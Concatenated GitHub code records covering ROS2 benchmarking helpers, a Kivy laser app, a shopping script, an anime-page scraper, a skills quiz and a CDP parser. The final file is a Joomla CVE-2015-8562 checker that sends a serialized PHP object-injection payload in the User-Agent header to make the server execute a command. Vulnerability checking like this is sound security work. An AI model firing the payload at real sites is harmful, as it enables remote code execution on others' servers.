cliColors.ENDCOLOR\n\n\ndef colorPrint(raw_string, color_type):\n print(colorString(raw_string, color_type))\n\n\ndef create_dir(dir_path) -> bool:\n try:\n os.makedirs(dir_path)\n return True\n except FileExistsError:\n print(colorString('Log directory already exists', cliColors.WARN))\n except FileNotFoundError:\n # given path is not viable\n return False\n\n\ndef generate_shmem_file_yml(dir_path) -> str:\n shmem_config_file = os.path.join(dir_path, \"shmem.yml\")\n if not os.path.exists(shmem_config_file):\n with open(shmem_config_file, \"w\") as outfile:\n shmem_dict = dict(domain=dict(shared_memory=dict(enable=True)))\n yaml.safe_dump(shmem_dict, outfile)\n return shmem_config_file\n\n\ndef generate_shmem_file_xml_cyclonedds(dir_path) -> str:\n shmem_config_file = os.path.join(dir_path, \"shmem_cyclonedds.xml\")\n if not os.path.exists(shmem_config_file):\n root = et.Element(\"CycloneDDS\")\n root.set(\"xmlns\", \"https://cdds.io/config\")\n root.set(\"xmlns:xsi\", \"http://www.w3.org/2001/XMLSchema-instance\")\n root.set(\"xsi:schemaLocation\", \"https://cdds.io/config https://raw.githubusercontent.com/eclipse-cyclonedds/cyclonedds/iceoryx/etc/cyclonedds.xsd\")\n domain = et.SubElement(root, \"Domain\")\n sharedMemory = et.SubElement(domain, \"SharedMemory\")\n et.SubElement(sharedMemory, \"Enable\").text = \"true\"\n et.SubElement(sharedMemory, \"LogLevel\").text = \"info\"\n tree = et.ElementTree(root)\n tree._setroot(root)\n tree.write(shmem_config_file, encoding = \"UTF-8\", xml_declaration=True)\n return shmem_config_file\n\ndef generate_shmem_file_xml_fastdds(dir_path) -> str:\n shmem_config_file = os.path.join(dir_path, \"shmem_fastdds.xml\")\n if not os.path.exists(shmem_config_file):\n root = et.Element(\"profiles\")\n root.set(\"xmlns\", \"http://www.eprosima.com/XMLSchemas/fastRTPS_Profiles\")\n data_writer = et.SubElement(root, \"data_writer\")\n data_writer.set(\"profile_name\", \"default publisher profile\")\n data_writer.set(\"is_default_profile\", \"true\")\n writer_qos = et.SubElement(data_writer, \"qos\")\n publishMode = et.SubElement(writer_qos, \"publishMode\")\n et.SubElement(publishMode, \"kind\").text = \"ASYNCHRONOUS\"\n writer_data_sharing = et.SubElement(writer_qos, \"data_sharing\")\n et.SubElement(writer_data_sharing, \"kind\").text = \"AUTOMATIC\"\n et.SubElement(data_writer, \"historyMemoryPolicy\").text = \"PREALLOCATED_WITH_REALLOC\"\n\n data_reader = et.SubElement(root, \"data_reader\")\n data_reader.set(\"profile_name\", \"default subscription profile\")\n data_reader.set(\"is_default_profile\", \"true\")\n reader_qos = et.SubElement(data_reader, \"qos\")\n reader_data_sharing = et.SubElement(reader_qos, \"data_sharing\")\n et.SubElement(reader_data_sharing, \"kind\").text = \"AUTOMATIC\"\n et.SubElement(data_reader, \"historyMemoryPolicy\").text = \"PREALLOCATED_WITH_REALLOC\"\n\n tree = et.ElementTree(root)\n tree._setroot(root)\n tree.write(shmem_config_file, encoding = \"UTF-8\", xml_declaration=True)\n return shmem_config_file\n\ndef is_ros2_plugin(com_mean) -> bool:\n if com_mean == \"ApexOSPollingSubscription\" or com_mean == \"rclcpp-single-threaded-executor\" or com_mean == \"rclcpp-static-single-threaded-executor\" or com_mean == \"rclcpp-waitset\":\n return True\n else:\n return False\n\ndef generate_commands_yml(output_dir) -> list:\n shmem_config_file = os.path.join(output_dir, \"shmem.yml\")\n commands = []\n commands.append(f'export APEX_MIDDLEWARE_SETTINGS=\"{shmem_config_file}\"')\n commands.append('cat > ${APEX_MIDDLEWARE_SETTINGS} << EOF')\n commands.append('domain:')\n commands.append(' shared_memory:')\n commands.append(' enable: true')\n commands.append('EOF')\n return commands\n\ndef generate_commands_xml_cyclonedds(output_dir) -> list:\n shmem_config_file = os.path.join(output_dir, \"shmem_cyclonedds.xml\")\n commands = []\n commands.append(f'export CYCLONEDDS_URI=\"{shmem_config_file}\"')\n commands.append('cat > ${CYCLONEDDS_URI} << EOF')\n commands.append('')\n commands.append('')\n commands.append(' ')\n commands.append(' ')\n commands.append(' true')\n commands.append(' info')\n commands.append(' ')\n commands.append(' ')\n commands.append('')\n commands.append('EOF')\n return commands\n\ndef generate_commands_xml_fastdds(output_dir) -> list:\n shmem_config_file = os.path.join(output_dir, \"shmem_fastdds.xml\")\n commands = []\n commands.append(f'export FASTRTPS_DEFAULT_PROFILES_FILE=\"{shmem_config_file}\"')\n commands.append(f'export RMW_FASTRTPS_USE_QOS_FROM_XML=1')\n commands.append('cat > ${FASTRTPS_DEFAULT_PROFILES_FILE} << EOF')\n commands.append('')\n commands.append('')\n commands.append(' ')\n commands.append(' ')\n commands.append(' ')\n commands.append(' ASYNCHRONOUS')\n commands.append(' ')\n commands.append(' ')\n commands.append(' AUTOMATIC')\n commands.append(' ')\n commands.append(' ')\n commands.append(' PREALLOCATED_WITH_REALLOC')\n commands.append(' ')\n commands.append(' ')\n commands.append(' ')\n commands.append(' ')\n commands.append(' AUTOMATIC')\n commands.append(' ')\n commands.append(' ')\n commands.append(' PREALLOCATED_WITH_REALLOC')\n commands.append(' ')\n commands.append('')\n commands.append('EOF')\n return commands\n\ndef generate_commands_cycloneDDS(output_dir, perf_test_exe_cmd, sub_args, pub_args) -> list:\n commands = []\n commands_xml = generate_commands_xml_cyclonedds(output_dir)\n commands.extend(commands_xml)\n commands.append(perf_test_exe_cmd + sub_args + ' &')\n commands.append('sleep 1')\n commands.append(perf_test_exe_cmd + pub_args)\n commands.append('sleep 5')\n commands.append('unset CYCLONEDDS_URI')\n return commands\n\ndef generate_commands_fastdds(output_dir, perf_test_exe_cmd, sub_args, pub_args) -> list:\n commands = []\n commands_xml = generate_commands_xml_fastdds(output_dir)\n commands.extend(commands_xml)\n commands.append(perf_test_exe_cmd + sub_args + ' &')\n commands.append('sleep 1')\n commands.append(perf_test_exe_cmd + pub_args)\n commands.append('sleep 5')\n commands.append('unset FASTRTPS_DEFAULT_PROFILES_FILE')\n commands.append('unset RMW_FASTRTPS_USE_QOS_FROM_XML')\n return commands\n\ndef generate_commands_apex_middleware(output_dir, perf_test_exe_cmd, sub_args, pub_args) -> list:\n commands = []\n commands_yml = generate_commands_yml(output_dir)\n commands.extend(commands_yml)\n commands.append(perf_test_exe_cmd + sub_args + ' &')\n commands.append('sleep 1')\n commands.append(perf_test_exe_cmd + pub_args)\n commands.append('sleep 5')\n commands.append('unset APEX_MIDDLEWARE_SETTINGS')\n return commands\n\n\n\n\n\n","repo_name":"ZhenshengLee/performance_test","sub_path":"performance_report/performance_report/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":18294,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"35"} +{"seq_id":"42512037076","text":"# Ed Sells\r\n# Read installNotes for detail on how to setup hardware and distribution base\r\n\r\nimport kivy # @UnusedImport\r\n\r\nfrom kivy.app import App\r\nfrom kivy.lang import Builder\r\nfrom kivy.uix.screenmanager import ScreenManager, Screen\r\nfrom kivy.uix.scrollview import ScrollView\r\nfrom kivy.clock import Clock\r\nfrom kivy.uix.widget import Widget\r\nfrom kivy.properties import ObjectProperty, NumericProperty, StringProperty # @UnresolvedImport\r\n\r\nimport spidev # @UnresolvedImport\r\nimport cwiid # @UnresolvedImport\r\n\r\n\r\nBuilder.load_string(\"\"\"\r\n\r\n:\r\n Label:\r\n size_hint_y: None\r\n height: self.texture_size[1]\r\n text_size: self.width, None\r\n text: root.text\r\n \r\n:\r\n \r\n GridLayout:\r\n cols: 2\r\n orientation: 'vertical'\r\n padding: 20\r\n spacing: 10\r\n \r\n Image:\r\n source: 'logo.png'\r\n Button:\r\n text: 'Connect'\r\n on_press: \r\n root.manager.transition.direction = 'left'\r\n root.manager.current = 'connect'\r\n Button:\r\n text: 'Settings'\r\n on_press: \r\n root.manager.transition.direction = 'left'\r\n root.manager.current = 'settings'\r\n Button:\r\n text: 'Go live'\r\n on_press: \r\n root.manager.transition.direction = 'left'\r\n root.manager.current = 'live'\r\n \r\n:\r\n \r\n scrolltext:scrolltext \r\n \r\n GridLayout:\r\n cols: 2\r\n orientation: 'vertical'\r\n padding: 20\r\n spacing: 10\r\n \r\n Button:\r\n text: 'Dial'\r\n on_press: \r\n root.dial()\r\n ScrollableLabel:\r\n id: scrolltext\r\n text: root.consoleOutputInitial\r\n Button:\r\n text: 'Blink'\r\n on_press: \r\n root.blink()\r\n Button:\r\n text: 'Quit'\r\n on_press: \r\n root.manager.transition.direction = 'right'\r\n root.manager.current = 'home'\r\n \r\n:\r\n \r\n GridLayout:\r\n cols: 1\r\n orientation: 'vertical'\r\n padding: 20\r\n spacing: 10\r\n \r\n Button:\r\n text: 'Quit'\r\n on_press: \r\n root.manager.transition.direction = 'right'\r\n root.manager.current = 'home'\r\n \r\n:\r\n \r\n size: 50, 50 \r\n \r\n canvas:\r\n Ellipse:\r\n size: [20, 20]\r\n pos: [self.center_x - 20/2, self.center_y - 20/2]\r\n \r\n:\r\n \r\n ball1: ball1\r\n ball2: ball2\r\n xy_label: xy_label\r\n\r\n PongBall:\r\n id: ball1\r\n center: self.parent.center \r\n \r\n PongBall:\r\n id: ball2\r\n center: self.parent.center \r\n \r\n BoxLayout:\r\n orientation: \"horizontal\"\r\n Button:\r\n id:one\r\n text: \"Listen!\"\r\n background_color: 0,0,0,1\r\n font_size:32\r\n size_hint:1,None\r\n on_press: root.listen()\r\n \r\n Button:\r\n id:two \r\n text: \"Quit\"\r\n background_color: 1,1.5,0,1\r\n font_size:32\r\n size_hint:1,None\r\n on_press: \r\n root.manager.transition.direction = 'right'\r\n root.manager.current = 'home'\r\n\r\n Button:\r\n id: xy_label \r\n text: root.xytext\r\n background_color: 0,0,0,1\r\n font_size:32\r\n size_hint:1,None\r\n \r\n\"\"\")\r\n\r\n# Widget\r\nclass ScrollableLabel(ScrollView):\r\n\r\n text = StringProperty('')\r\n\r\nclass PongBall(Widget):\r\n\r\n x = NumericProperty(0)\r\n y = NumericProperty(0)\r\n\r\n\r\n# Declare all screens\r\nclass HomeScreen(Screen):\r\n \r\n pass\r\n\r\nclass ConnectScreen(Screen):\r\n \r\n consoleOutputInital = StringProperty()\r\n consoleOutputInitial = \"Hello\\n\"\r\n \r\n # On button press...\r\n def dial(self):\r\n self.scrolltext.text += \"Press button 1 + 2 on remote now...\\n\"\r\n Clock.schedule_once(lambda dt: self.delayDial(), 2)\r\n\r\n def delayDial(self):\r\n global wm\r\n wm = cwiid.Wiimote()\r\n self.scrolltext.text += \"Connected :-)\\n\"\r\n \r\n def blink(self):\r\n global wm\r\n self.scrolltext.text += 'Blink requested...\\n'\r\n self.ledOn()\r\n Clock.schedule_once(lambda dt: self.ledOff(), 2)\r\n \r\n def ledOn(self):\r\n global wm\r\n wm.led = 1\r\n\r\n def ledOff(self):\r\n global wm\r\n wm.led = 0\r\n \r\nclass SettingsScreen(Screen):\r\n \r\n pass\r\n\r\nclass LiveScreen(Screen):\r\n \r\n ball1 = ObjectProperty(None)\r\n ball2 = ObjectProperty(None)\r\n \r\n xytext = StringProperty()\r\n xytext = \"Initial\"\r\n \r\n spi1 = spidev.SpiDev()\r\n spi1.open(0,0)\r\n \r\n spi2 = spidev.SpiDev()\r\n spi2.open(0,1)\r\n \r\n def setOutputX(self, val):\r\n # lowbyte has 8 data bits D0..D7\r\n lowByte = val & 0xff; # 0b 1111 1111\r\n # highbyte has control and data bits\r\n # control bits are:\r\n # B7, B6, B5, B4, B3, B2, B1, B0\r\n # W ,BUF, !GA, !SHDN, B11, B10, B9, B8\r\n # B7=0:write to DAC, B6=0:unbuffered, B5=1:Gain=1X, B4=1:Output is active\r\n highByte = ((val >> 8) & 0xff) | 0b0 << 7 | 0b0 << 6 | 0b1 << 5 | 0b1 << 4;\r\n # by using spi.xfer2(), the CS is released after each block, transferring the\r\n # value to the output pin.\r\n self.spi1.xfer2([highByte, lowByte])\r\n \r\n def setOutputY(self, val):\r\n # lowbyte has 8 data bits D0..D7\r\n lowByte = val & 0xff; # 0b 1111 1111\r\n # highbyte has control and data bits\r\n # control bits are:\r\n # B7, B6, B5, B4, B3, B2, B1, B0\r\n # W ,BUF, !GA, !SHDN, B11, B10, B9, B8\r\n # B7=0:write to DAC, B6=0:unbuffered, B5=1:Gain=1X, B4=1:Output is active\r\n highByte = ((val >> 8) & 0xff) | 0b0 << 7 | 0b0 << 6 | 0b1 << 5 | 0b1 << 4;\r\n # by using spi.xfer2(), the CS is released after each block, transferring the\r\n # value to the output pin.\r\n self.spi2.xfer2([highByte, lowByte])\r\n \r\n def listen(self):\r\n \r\n global wm\r\n\r\n# Spec WiiMote streaming input format, example: wm.rpt_mode = cwiid.RPT_ACC | cwiid.RPT_IR\r\n wm.rpt_mode = cwiid.RPT_IR\r\n\r\n Clock.schedule_interval(self.update, 1.0 / 50.0)\r\n\r\n def update(self, dt):\r\n \r\n global wm\r\n \r\n pos1Dict = wm.state['ir_src'][0]\r\n pos2Dict = wm.state['ir_src'][1]\r\n \r\n if type(pos1Dict) is dict:\r\n x1 = pos1Dict['pos'][0]\r\n y1 = pos1Dict['pos'][1]\r\n else:\r\n # Wii range = X:0-1010 Y:0-750\r\n x1 = 505\r\n y1 = 375\r\n\r\n if type(pos2Dict) is dict:\r\n x2 = pos2Dict['pos'][0]\r\n y2 = pos2Dict['pos'][1]\r\n else:\r\n x2 = 505\r\n y2 = 375\r\n \r\n # Screen adjustment for RPi touchscreen @ X:0-800 Y:480\r\n x1 = ((x1 * 0.8) - 400) * -1\r\n y1 = (y1 * 0.64) - 240\r\n\r\n # Screen adjustment for RPi touchscreen @ X:+/-400 Y:+/-240\r\n x2 = ((x2 * 0.8) - 400) * -1\r\n y2 = (y2 * 0.64) - 240\r\n \r\n # Label on screen displaying co-ords\r\n# self.xy_label.text = \"X1: \" + str(x1) + \" Y1: \" + str(y1)\r\n \r\n self.ball1.x = x1\r\n self.ball1.y = y1\r\n self.ball2.x = x2\r\n self.ball2.y = y2\r\n \r\n #MCP4921 DAC range: 0-4095\r\n dacX1 = int(((x1 + 400)/810) * 4095)\r\n dacY1 = int(((y1 + 240)/490) * 4095)\r\n \r\n dacX2 = int(((x2 + 400)/810) * 4095)\r\n dacY2 = int(((y2 + 240)/490) * 4095)\r\n \r\n self.setOutputX(dacX1)\r\n self.setOutputY(dacY1)\r\n \r\n # Delay is half that of the delay between update calls to ensure that beam has equal time at both points\r\n Clock.schedule_once(lambda dt: self.setOutputX(dacX2), 1.0/25.0)\r\n Clock.schedule_once(lambda dt: self.setOutputY(dacY2), 1.0/25.0)\r\n\r\n\r\n\r\nclass WiiMote():\r\n \r\n # Empty to class to initialise the global object... needed?\r\n \r\n pass\r\n\r\n# Create the screen manager\r\nsm = ScreenManager()\r\nsm.add_widget(HomeScreen(name='home'))\r\nsm.add_widget(SettingsScreen(name='settings'))\r\nsm.add_widget(ConnectScreen(name='connect'))\r\nsm.add_widget(LiveScreen(name='live'))\r\nwm = WiiMote()\r\n\r\nclass LaserHandsApp(App):\r\n\r\n def build(self):\r\n return sm\r\n\r\nif __name__ == '__main__':\r\n LaserHandsApp().run()","repo_name":"Neex101/LaserHands","sub_path":"v3.0/src/root/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8600,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"20927092403","text":"# coding:utf-8\nfrom Wangyunfei.shopping.test.test_homework.shopping import memberHelp\nfrom SALING import saling\n\ndef Saling():\n user_tel = raw_input('请输入你的手机号:')\n user_discount = memberHelp.get_member_discount(user_tel)\n product_list=[]\n while True:\n pro_info=saling.get_product_input()\n if pro_info == \"Q\":\n break\n else:\n product_list.append(pro_info)\n print ('商品已添加')\n\n\n\n pay_list,pay_total = saling.caularment_payment(product_list,user_discount)\n\n\n output = saling.format_out_msg(pay_list,pay_total)\n print (output)\nif __name__=='__main__':\n Saling()\n\n\n\n\n\n\n\n\n\n","repo_name":"hiyounger/sdet05_homework","sub_path":"Wangyunfei/shopping/member.py","file_name":"member.py","file_ext":"py","file_size_in_byte":665,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"30135807143","text":"import sys\nimport os\nimport re\nimport argparse\nfrom fnmatch import filter as fnfilter\nfrom typing import Iterable\nfrom collections import namedtuple\n\nfrom tqdm import tqdm\nfrom parsel import Selector\n\nfrom animeu.common.iter_helpers import lookahead\nfrom animeu.common.file_helpers import JSONListStream\nfrom animeu.spiders.xpath_helpers import \\\n xpath_slice_between, get_all_text, normalize_whitespace\n\nAnimeName = namedtuple(\"AnimeName\", [\"name\", \"is_primary\"])\nAnimeCharacter = namedtuple(\"AnimeCharacter\", [\"name\", \"role\", \"url\"])\nKeyValuesPair = namedtuple(\"KeyValuesPair\", [\"key\", \"values\"])\n\ndef select_sidebar(sel: Selector) -> Selector:\n \"\"\"Select the info sidebar.\"\"\"\n return sel.xpath(\"//div[@class='js-scrollfix-bottom']\")\n\ndef extract_anime_names(sel: Selector) -> Iterable[AnimeName]:\n \"\"\"Extract the names of the anime.\"\"\"\n main_title_text = get_all_text(sel.xpath(\"//h1/span[@itemprop='name']\"))\n yield AnimeName(name=main_title_text, is_primary=True)\n alternative_titles_sel = xpath_slice_between(\n select_sidebar(sel),\n lower_xpath=\"./h2[. = 'Alternative Titles']\",\n upper_xpath=\"./br\"\n )\n for alternative_title_sel in alternative_titles_sel:\n maybe_many_names = get_all_text(\n alternative_title_sel.xpath(\"./span/following-sibling::text()\")\n )\n for name in re.split(r\"\\b\\s*,\\s+(?=[A-Z][a-z])\", maybe_many_names):\n yield AnimeName(name=name, is_primary=False)\n\ndef extract_anime_description(sel: Selector) -> str:\n \"\"\"Extract the anime description.\"\"\"\n description_paragraph_sels = \\\n sel.xpath(\"//span[@itemprop='description']/text()\")\n paragraphs = []\n for paragraph_sel, is_last in lookahead(description_paragraph_sels):\n content = get_all_text(paragraph_sel)\n # pylint: disable=invalid-name\n IS_PROBABLY_SOURCE_MAX_LEN = 30\n # pylint: disable=line-too-long\n if is_last and \\\n re.search(r\"written|from|source|author\", content, flags=re.I) and \\\n len(content) <= IS_PROBABLY_SOURCE_MAX_LEN:\n continue\n paragraphs.append(content)\n return normalize_whitespace(\"\\n\".join(paragraphs))\n\ndef extract_anime_info_fields(sel: Selector) -> Iterable[KeyValuesPair]:\n \"\"\"Extract info fields of the anime.\"\"\"\n stat_sels = xpath_slice_between(\n select_sidebar(sel),\n lower_xpath=\"./h2[. = 'Information']\",\n upper_xpath=\"./br\"\n )\n for stat_sel in stat_sels:\n key = re.sub(r\"\\s+\", \" \", get_all_text(stat_sel.xpath(\"./span\")))\\\n .strip()\\\n .rstrip(\":\")\n # pylint: disable=line-too-long\n value_text = re.sub(r\"\\s+\", \" \", get_all_text(stat_sel).replace(key, \"\", 1))\\\n .lstrip(\":\")\\\n .strip()\n values = re.split(r\"\\b\\s+,\\s+\\b\", value_text)\n yield KeyValuesPair(key=key, values=values)\n\ndef extract_anime_picture_url(sel: Selector) -> str:\n \"\"\"Extract the URL of the anime's main picture.\"\"\"\n return select_sidebar(sel).xpath(\"//img[@class='ac']\").attrib.get(\"src\")\n\ndef extract_character_names(sel: Selector) -> Iterable[AnimeCharacter]:\n \"\"\"Extact the names of the anime characters.\"\"\"\n # pylint: disable=line-too-long\n maybe_name_anchors = \\\n sel.xpath(\"(//h2[contains(., 'Characters')]/following-sibling::div)[1]//a[not(./img)]\")\n for maybe_name_anchor in maybe_name_anchors:\n href = maybe_name_anchor.attrib[\"href\"]\n match = re.search(r\"/character/\\d+/(?P[^/]+)$\", href)\n if not match:\n continue\n name = re.sub(r\"_+|\\s+\", \" \", match.group(\"name\")).strip()\n # pylint: disable=line-too-long\n role = get_all_text(maybe_name_anchor.xpath(\"./following-sibling::div/small\"))\n if re.search(r\"main\", role, flags=re.IGNORECASE):\n role = \"main\"\n elif re.search(r\"support(ing)?|secondary\", role, flags=re.IGNORECASE):\n role = \"secondary\"\n yield AnimeCharacter(name=name, url=href, role=role)\n\ndef extract_anime_metadata(sel: Selector) -> dict:\n \"\"\"Extract all the metadata of an anime into a dict.\"\"\"\n names = extract_anime_names(sel)\n description = extract_anime_description(sel)\n info_fields = extract_anime_info_fields(sel)\n picture_url = extract_anime_picture_url(sel)\n characters = extract_character_names(sel)\n return {\n \"names\": [{\"name\": n.name, \"is_primary\": n.is_primary} for n in names],\n \"description\": description,\n \"info_fields\":\n [{\"name\": f.key, \"values\": f.values} for f in info_fields],\n \"characters\":\n [{\"name\": c.name, \"url\": c.url} for c in characters],\n \"picture\": picture_url\n }\n\ndef main(argv: list = None):\n \"\"\"Entry point to the MAL anime metadata extractor.\"\"\"\n argv = argv or sys.argv[1:]\n parser = argparse.ArgumentParser(\"\"\"MAL Anime Extractor\"\"\")\n parser.add_argument(\"--directory\", type=str, required=True)\n parser.add_argument(\"--filter\", type=str, default=\"*.anime.html\")\n parser.add_argument(\"--output\",\n type=argparse.FileType(\"w\", encoding=\"utf8\"),\n default=sys.stdout)\n result = parser.parse_args(argv)\n anime_html_filenames = [\n os.path.join(result.directory, name)\n for name in fnfilter(os.listdir(result.directory), result.filter)\n ]\n with JSONListStream(result.output) as json_stream:\n for anime_filename in tqdm(anime_html_filenames):\n with open(anime_filename, \"r\", encoding=\"utf8\") as anime_fileobj:\n sel = Selector(text=anime_fileobj.read())\n json_stream.write(extract_anime_metadata(sel))\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"HennyH/animeu","sub_path":"animeu/spiders/myanimelist_anime_extractor.py","file_name":"myanimelist_anime_extractor.py","file_ext":"py","file_size_in_byte":5719,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"35"} +{"seq_id":"31821622112","text":"# Imprt OS library for press_to_continue function and clear screen function\nimport os\n\n# User prompt fuction with information on how to use the program\ndef user_prompt():\n os.system('cls||clear')\n print(\"|===============================================================================================|\\n|\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t|\")\n print(\"|\\tWelcome to the application for the junior developer role at ACME Corporation.\\t\\t|\")\n print(\"|\\tIn order for us to asses your skill level, please select any of the skills\\t\\t|\")\n print(\"|\\tfrom the list below that you have experience with.\\t\\t\\t\\t\\t|\")\n print(\"|\\tOnce you have finished, hit the 'c' key and we will display your eligibilty score.\\t|\\n|\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t|\")\n print(\"|\\t**Python** **Ruby** **Bash** **Git** **HTML** **TDD** **CSS** **JavaScript**\\t|\\n|\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t|\")\n print(\"|===============================================================================================|\")\n\n# prompt user to press any key to contine - program frozen till key press\ndef press_to_continue():\n os.system(\"/bin/bash -c 'read -s -n 1 -p \\\"\\n\\t\\tPress any key to continue...\\\"'\\n\")\n os.system('cls||clear')\n print()\n\npython = False\nruby = False\nbash = False\ngit = False\nhtml = False\ntdd = False\ncss = False\njavascript = False\n\ncandidate_total_skill_score = 0\ncandidate_skill_entered = False\nfull_skill_set = {\"Python\", \"Ruby\", \"Bash\", \"Git\", \"HTML\", \"TDD\", \"CSS\", \"JavaScript\"}\ncandidate_skill_set = set()\n\n\n\nuser_prompt()\npress_to_continue()\nuser_prompt()\n\nwhile not python or not ruby or not bash or not git or not html or not tdd or not css or not javascript:\n\n user_prompt()\n print(\"\\n=================================================================================================\")\n if candidate_skill_set:\n print(f\"\\tYour skillset: {candidate_skill_set}\")\n print(f\"\\tYour skill score: {candidate_total_skill_score}\")\n else:\n print(\"\\tYour skillset: None\")\n print(f\"\\tYour skill score: {candidate_total_skill_score}\")\n print(\"=================================================================================================\\n\")\n\n candidate_skill_entered = input(\"\\t**Python** **Ruby** **Bash** **Git** **HTML** **TDD** **CSS** **JavaSCript**\\n\\tPlease enter a choice from the skills above >>\")\n\n\n\n if candidate_skill_entered.lower() == \"python\":\n if not python:\n candidate_total_skill_score +=1\n python = True\n candidate_skill_set.add(\"Python\")\n\n elif candidate_skill_entered.lower() == \"ruby\":\n if not ruby:\n candidate_total_skill_score +=2\n ruby = True\n candidate_skill_set.add(\"Ruby\")\n\n elif candidate_skill_entered.lower() == \"bash\":\n if not bash:\n candidate_total_skill_score +=4\n bash = True\n candidate_skill_set.add(\"Bash\")\n\n elif candidate_skill_entered.lower() == \"git\":\n if not git:\n candidate_total_skill_score +=8\n git = True\n candidate_skill_set.add(\"Git\")\n\n elif candidate_skill_entered.lower() == \"html\":\n if not html:\n candidate_total_skill_score +=16\n html = True\n candidate_skill_set.add(\"HTML\")\n\n elif candidate_skill_entered.lower() == \"tdd\":\n if not tdd:\n candidate_total_skill_score +=32\n tdd = True\n candidate_skill_set.add(\"TDD\")\n\n elif candidate_skill_entered.lower() == \"css\":\n if not css:\n candidate_total_skill_score +=64\n css = True\n candidate_skill_set.add(\"CSS\")\n\n elif candidate_skill_entered.lower() == \"javascript\":\n if not javascript:\n candidate_total_skill_score +=128\n javascript = True\n candidate_skill_set.add(\"JavaScript\")\n\n elif candidate_skill_entered.lower() == \"c\":\n break\n else:\n print(\"\\n====================================================================================================\")\n print(f\"\\t{candidate_skill_entered} is not a valid selection!\\n\\tPlease try again\")\n print(\"======================================================================================================\\n\")\n press_to_continue()\n \n\n\nos.system('cls||clear')\nprint(\"====================================================================================================\\n\")\nprint(\"\\tThankyou for applying for the junior developer role.\\n\")\nprint(f\"\\tYour skill set is: {candidate_skill_set}\")\nprint(f\"\\tYour score is: {candidate_total_skill_score}\")\n\nif not full_skill_set.difference(candidate_skill_set):\n print(\"\\n\\tYou are skilled in every option!\\n\\tYou're the prefect candidate!\")\nelse:\n print(\"\\n\\tBelow is a list of skills we think you could work on:\")\n print(f\"\\t{full_skill_set.difference(candidate_skill_set)}\")\nprint(\"======================================================================================================\")","repo_name":"MarioLisbona/CA-T1A1-workbook","sub_path":"q-16-v1.py","file_name":"q-16-v1.py","file_ext":"py","file_size_in_byte":4950,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"26870478049","text":"\nif __name__ == \"__main__\":\n\tfrom open_file import *\n\ndef parse_cdp_neighbors(line):\n\n\t'''функция возвращает словарь из пары ключ(имя собственного ��стройства, интерфейс подключения) \n\tи значение (имя устройства соседа, интерфейс подключения соседа)'''\n\tline=line.strip() # убираем возможные невидимые символы в начале и конце\n\tfor s in line:\n\t\tif s == '>':\n\t\t\tself_name = line[0:line.index(s)] #мыводим собственное имя устройства\n\n\tlist=line.split('\\n')\n\tlist.pop(0) # удаляем первый элемет в списке что бы он больше не учавствовал в дальнейшем отборе на условие\n\tcdp_neighbors = {}\n\tfor s in list:\n\t\tdevise=['R', 'T', 'B', 'S', 'H', 'I', 'r', 'P'] \n\t\t# проверяем строку на условие\n\t\tif any(s.startswith(d) for d in devise) and (s[1].isdigit or s[2].isdigit):\n\t\t\tneighbors=s.split()\t\n\t\t\t#расспаковываем переменные по нужным параметрам соседа:\n\t\t\tn_router, int, local_int, port, port_id = neighbors[0],neighbors[1], neighbors[2], neighbors[-2], neighbors[-1]\n\t\t\tkey=[self_name, int+local_int] \n\t\t\tvalue=[n_router, port+port_id] #присваиваем нужные параметры переменным для словаря\n\t\t\tcdp_neighbors[tuple(key)]=tuple(value)\n\t\t\t#cdp_neighbors[key]=value\n\treturn cdp_neighbors\n\n\n\t\nif __name__ == \"__main__\":\n\tprint(parse_cdp_neighbors(line1))\n\tprint(parse_cdp_neighbors(line2))\n\tprint(parse_cdp_neighbors(line3))\n\tprint(parse_cdp_neighbors(line4))\n\tinput()","repo_name":"yarikmik/homework","sub_path":"task_11.2a/parse_cdp_neighbors.py","file_name":"parse_cdp_neighbors.py","file_ext":"py","file_size_in_byte":1757,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"31212116412","text":"#!/usr/bin/python3\n\nimport re\nimport requests\nfrom app.lib.utils.request import request\nfrom app.lib.utils.common import get_capta\n\nclass CVE_2015_8562_BaseVerify:\n def __init__(self, url):\n self.info = {\n 'name': 'CVE-2015-8562漏洞',\n 'description': 'CVE-2015-8562漏洞可任意执行命令,影响范围为: Joomla 1.5.x, 2.x, 3.x-3.4.6',\n 'date': '2015-12-15',\n 'exptype': 'check',\n 'type': 'RCE'\n }\n self.url = url\n if not self.url.startswith(\"http\") and not self.url.startswith(\"https\"):\n self.url = \"http://\" + self.url\n self.capta = get_capta()\n self.echo_commnd = 'echo ' + self.capta\n self.check_headers = {\n \"User-Agent\":'''}__test|O:21:\"JDatabaseDriverMysqli\":3:{s:2:\"fc\";O:17:\"JSimplepieFactory\":0:{}s:21:\"\\x5C0\\x5C0\\x5C0disconnectHandlers\";a:1:{i:0;a:2:{i:0;O:9:\"SimplePie\":5:{s:8:\"sanitize\";O:20:\"JDatabaseDriverMysql\":0:{}s:8:\"feed_url\";s:%s:\"%s;JFactory::getConfig();exit;\";s:19:\"cache_name_function\";s:6:\"assert\";s:5:\"cache\";b:1;s:11:\"cache_class\";O:20:\"JDatabaseDriverMysql\":0:{}}i:1;s:4:\"init\";}}s:13:\"\\x5C0\\x5C0\\x5C0connection\";b:1;}\\xF0\\x9D\\x8C\\x86'''%(len(self.echo_commnd)+28, self.echo_commnd) \n }\n\n def check(self):\n \n \"\"\"\n 检测是否存在漏洞\n\n :param:\n\n :return bool True or False: 是否存在漏洞\n \"\"\"\n \n try:\n check_s = requests.session()\n check_response = check_s.get(self.url,headers = self.check_headers)\n check_response = check_s.get(self.url)\n echo_info = check_response.text\n echo_result = re.findall(r'(.*)',echo_info,re.S|re.I) \n if self.capta in echo_result[0]:\n return True\n else:\n return False\n except Exception as e:\n print(e)\n return False\n finally:\n pass\n 